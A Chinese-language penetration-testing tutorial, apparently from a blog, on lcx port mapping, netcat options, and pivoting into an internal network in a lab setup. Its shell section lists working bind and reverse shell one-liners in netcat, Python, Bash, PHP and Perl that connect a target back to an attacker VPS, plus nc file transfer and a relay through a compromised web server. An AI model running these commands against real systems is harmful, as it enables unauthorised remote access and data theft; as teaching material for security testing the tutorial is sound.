传输层 lcx实现本地端口映射&&内网代理
如果目标服务器由于防火墙的限制,部分端口(例如3389)的数据无法通过防火墙,可以将目标服务器相应端口的数据透传到防火墙允许的端口(例如53),在目标主机上执行如下命令,就可以直接从远程桌面连接目标主机的53端口。
1.lcx实现本地端口映射
lcx -tran 53 <目标主机的IP地址> 3389
2.netcat
之所以叫作netcat,是因为它是网络上的cat。cat的功能是读取一个文件的内容并传输出到屏幕上,netcat也是如此----从网络的一端读取数据,输出到网络的另一端(可以使用TCP和UDP协议)。
2.1 netcat基本参数说明
-d 后台模式
-e 程序重定向
-g <网关> 设置路由器跃程通信网关,最多可设置8个
-G <指向器数目> 设置来源路由器指向器,其数值为4的倍数
-h 在线帮助
-i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口
-l 使用监听模式,管控传入的资料
-n 直接使用IP地址,而不通过域名服务器
-o <输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存
-p <通信端口> 设置本地主机使用的通信端口;
-r 随机指定本地与远端主机的通信端口;
-s <来源位址> 设置本地主机送出数据包的IP地址;
-u 使用UDP传输协议;
-v 详细输出;
-w <超时秒数> 设置等待连线的时间;
-z 将输入输出关掉,只在扫描通信端口时使用
2.2 netcat的功能
.Banner抓取
服务器的Banner信息能够为系统管理员提供当前网络中的系统信息和所运行服务的情况。服务的Banner信息不仅包含正在运行的服务类型,还包含服务的版本信息。Banner抓取是一种在开放的端口上检索关于特定服务信息的技术,在渗透测试中用于漏洞的评估。
nc -nv 127.0.0.1 80
.连接到远程主机
nc -nvv 192.168.4.134 80
.端口扫描
nc -v 192.168.4.134 80
nc -v -z 192.168.4.134 20-1024
.端口监听
执行如下命令,监听本地端口。当访问该端口时会输出该信息到命令行
nc -l -p 9999
.文件传输
在本地VPS主机中输入如下命令,开始监听,等待连接。一旦连接建立,数据便会流入,
nc -lp 333 > 1.txt
在目标主机中输入如下命令,与VPS的333端口建立连接,并传输一个名为text.txt的文件
nc -vn 192.168.4.134 333 < text.txt -q 1
.简易聊天
在本地VPS主机中输入如下命令,开始监听
nc -l -p 888
在目标主机中输入如下命令,就可以开始聊天
nc -vn 192.168.4.134 888
.获取shell
正向 shell
目标主机监听: Nc -lvp 4444 -e /bin/sh //linux Nc -lvp 4444 -e C:\WINDOWS\system32\cmd.exe //windows
本地主机: nc 192.168.1.11 4444
反向 shell
本地主机监听: nc -lvp 9999
目标主机: nc 192.168.11.144 9999 -e /bin/sh //linux
nc 192.168.11.144 9999 -e C:\WINDOWS\system32\cmd.exe //windows
目标主机上没有Netcat,获取反向shell
python反向shell
VPS上监听端口: Nc -lvp 2222
目标主机上执行: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM );s.connect(("192.168.1.4",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Bash反向shell
VPS上监听端口: Nc -lvp 4444
目标主机上执行: bash -i >& /dev/tcp/192.168.1.4/4444 0>&1
PHP反向shell
VPS上监听端口: Nc -lvp 2222
目标主机上执行: php -r '$sock=fsockopen("192.168.1.4",2222);exec("/bin/sh -i <&3 >&3 2>&3");'
Perl反向shell
VPS上监听端口: Nc -lvp 4444
目标主机上执行: perl -e ‘ use Socket;$i=”192.168.1.4″;$p=4444;socket(S,PF_INET,SOCK_STREAM,getprot obyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,” >&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh - i”);};’
3.内网代理
3.1 拓扑图

3.2 测试环境
攻击者VPS(kali linux):192.168.4.136
一个小型内网;
三台服务器;
假设已经获取了web服务器的权限,通过Kali linux机器不能直接访问数据库服务器(linux),但通过Web 服务器可以访问数据库服务器(linux)。
测试目标为:获取数据库服务器(linux)的shell
3.3 实验步骤
vps上执行如下命令
nc -lvp 3333

web服务器(跳板机)上执行
nc -v 192.168.4.136 3333 -c "nc -v 1.1.1.10 3333"

数据库服务器上执行
nc -lvp 3333 -e /bin/sh

vps上获取到了数据库服务器的shell,

传输层 lcx实现本地端口映射&&内网代理的更多相关文章
- Tp-link路由器怎么设置端口映射 内网端口映射听语音
https://jingyan.baidu.com/article/ca00d56c710ef9e99eebcf85.html 只有一台能上网的电脑就可以自己免费搭建服务器,本经验简单介绍家用tp-l ...
- python网络编程01 /C/S架构|B/S架构、网络通信原理、五层协议、七层协议简述、端口映射技术
python网络编程01 /C/S架构|B/S架构.网络通信原理.五层协议.七层协议简述.端口映射技术 目录 python网络编程01 /C/S架构|B/S架构.网络通信原理.五层协议.七层协议简述. ...
- 【转】使用miniupnpd-->upnp协议 映射本地端口到外网
miniupnpc的主要函数介绍 1>.miniupnpc库主要使用的头文件有 #include"miniwget.h" #include"miniupnpc.h& ...
- Apache服务器中设置端口映射和反向代理的方法
在/etc/httpd/conf路径下的httpd.conf文件###new add for webui.cong###Include "E:/local/Wamp/bin/apache/A ...
- 本地Linux虚拟机内网穿透,服务器文件下载到本地磁盘
本地Linux虚拟内网穿透 把服务器文件下载到本地磁盘 https://natapp.cn/ 1.注册账户点击免费隧道
- wstngfw中使用虚拟IP映射内网IP
wstngfw中使用虚拟IP映射内网IP -------------------------------- Server01: IP: 192.168.195.73/24 GW: 192.168.19 ...
- 网络层、传输层、应用层、端口通信协议编程接口 - http,socket,tcp/ip 网络传输与通讯知识总结
引: http://coach.iteye.com/blog/2024511 什么是TCP和UDP,以及二者区别是什么? TCP的全称为传输控制协议.这种协议可以提供面向连接的.可靠的.点到点的通信. ...
- VMware NAT端口映射 外网可以访问内网虚拟机
我想尝试的是利用本机的ip+port来访问虚拟机上的web服务器,因为这样的话,我就能够将我的web服务器部署成为一个能让外网访问的服务器了,首先说下我的环境: 主机:系统win7,ip地址172.1 ...
- WinServer 之 内网发布网站后端口映射外网访问
内网IP只能在内网局域网访问连接,在外网是不能认识内网IP不能访问的.如有路由权限,且路由有固定公网IP,可以通过路由的端口映射,实现外网访问内网.如无路由,或路由无公网IP,需要用到第三方开放的花生 ...
随机推荐
- Nginx 反向代理解决跨域问题分析
当你遇到跨域问题,不要立刻就选择复制去尝试.请详细看完这篇文章再处理 .我相信它能帮到你. 分析前准备: 前端网站地址:http://localhost:8080 服务端网址:http://local ...
- 基础概念(3):怎么写一个c程序?
总结卡片: 遵循c语言的规则,即可写出c程序.规则下有两个重要概念:函数与变量.就好像游戏中的打仗,要考虑怎么打,谁来打."怎么打"就是流程,把流程封装起来就是函数,流程也叫算法. ...
- 建造者模式(Bulider模式)
模式的定义与特点 建造者(Builder)模式的定义:指将一个复杂对象的构造与它的表示分离,使同样的构建过程可以创建不同的表示,这样的设计模式被称为建造者模式.它是将一个复杂的对象分解为多个简单的对象 ...
- 线程同步介绍及 生产者消费者问题举例 C#版
现在有五个工人在果园摘水果,一次只能摘一个,摘下的水果放入一个框中,这种框最多只能装50个橘子,一共有两个这样的框.当一个工人装框时,其他工人不能在使用这个框.当两个框都装满了,工人只有等框里有剩余位 ...
- golang中gomodule讲解
0. GOMODULES模式 1. GOPATH的缺点 1. 无版本控制概念 2. 无法同步一致第三方版本号 3. 无法指定当前项目引用的第三方版本号 2. go1.11版本之后可以使用GoModul ...
- java ++ -- 异或 短路与 短路或 三目条件
public class Demo { public static void main(String[] args) { int i1 = 12, i2 = 20; int i = (i2++); S ...
- 从零开始, 开发一个 Web Office 套件 (2): 富文本编辑器
书接前文: 从零开始, 开发一个 Web Office 套件 (1): 富文本编辑器 这是一个系列博客, 最终目的是要做一个基于HTML Canvas 的, 类似于微软 Office 的 Web Of ...
- 分治FFT小记🐤
分治FFT:在 $O(n \log^2 n)$ 的时间内求出类似于 $f_i=\sum\limits_{j=0}^{i-1}g(i-j)f(j)$ 之类的递推式 思想:同 CDQ 分治的思想,先分成左 ...
- JS中的堆内存与栈内存
在js引擎中对变量的存储主要有两种位置,堆内存和栈内存. 和java中对内存的处理类似,栈内存主要用于存储各种基本类型的变量,包括Boolean.Number.String.Undefined.Nul ...
- C++中三种正则表达式比较(C regex,C ++regex,boost regex)
工作需要用到C++中的正则表达式,以下三种正则可供参考 1,C regex #include <regex.h> #include <iostream> #include &l ...